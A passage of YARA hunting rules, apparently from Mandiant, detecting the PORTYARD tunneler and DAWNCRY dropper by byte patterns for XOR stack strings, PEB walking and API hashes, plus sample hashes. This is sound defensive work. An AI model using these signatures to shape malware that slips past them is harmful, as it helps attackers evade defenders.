        $marker1 = "---UNKNOWN---" wide fullword
        $marker2 = "---DC---" wide fullword
        $marker3 = "---SERVERS---" wide fullword
        $marker4 = "---USER PC---" wide fullword
    condition:
        (uint16(0)==0x5A4D and uint32(uint32(0x3C))==0x00004550) 
and (4 of ($str*) and 2 of ($file*) and 3 of ($arg*) and 1 of ($marker*))
}

PORTYARD

rule M_Tunneler_PORTYARD_1 {
    meta:
        description = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."
        family = "portyard"
        md5 = "25dd591a343e351fd72b6278ebf8197e"
        platform = "Windows"
    
    strings:
        $tunnel_commands_validate = {41 B? 04 00 00 00 [0-16] 
41 B9 08 00 00 00 [0-24] FF 15 [4-64] 0F B6 45 ?? 3C 01}
        $intial_connection_validate = {41 B? A0 1F 00 00 [0-32] ff 
15 [4-64] 48 0F ?? ?? 01 [0-32] 48 85 C? [0-64] 40 38 ?? ?? 02 [0-8] 
48 FF C? 48 3B C? [2-64] C7 45 ?? 05 00  [1-16]  FF 15}
    condition:
        all of them
          
}

DAWNCRY

rule M_Dropper_DAWNCRY_1 {
    meta:
        author = "Mandiant"
        description = "This rule is for hunting purposes only 
and has not been tested to run in a production environment."
        family = "DAWNCRY"
        md5 = "a9447a25ab79eed2942997daced4eb3e"
        platform = "Windows"
    
    strings:
        $stackstring_xor_key = {C6 85 [4] 65 C6 85 [4] 69 C6 85 
[4] 55 C6 85 [4] 56 C6 85 [4] 79 C6 85 [4] 72 C6 85 [4] 79 C6 85 
[4] 67 C6 85 [4] 6C C6 85 [4] 3E C6 85 [4] 58 C6 85 [4] 45 C6 85 
[4] 2A C6 85 [4] 5E C6 85 [4] 71 C6 85 [4] 78 C6 85 [4] 45 C6 85 
[4] 59 C6 85 [4] 69 C6 85 [4] 49 C6 85 [4] 56 C6 85 [4] 56 C6 85 
[4] 61 C6 85 [4] 38 C6 85 [4] 34 C6 85 [4] 4C C6 85 [4] 00}
        $part_of_xor_decrypt = {48 01 ?? 0F B6 84 [5] 44 31 C8 41 
88 ?? 48 83 85 [4] 01 48 8B [5] 48 39 [5] 0F 82 }
        $peb_ldr_data = {48 31 C0 65 48 8B 04 25 60 00 00 00 48 
8B 40 18 48 8B 40 20 48 8B 00 48 8B 40 20 C3}
        $hardcoded_ntAllocateVirtualMemory_hash = {BA E2 A5 
92 6D 48 89 C1 E8}
    condition:
        (uint16(0)==0x5A4D and uint32(uint32(0x3C))==0x00004550) 
and 3 of them
          
}
게시 위치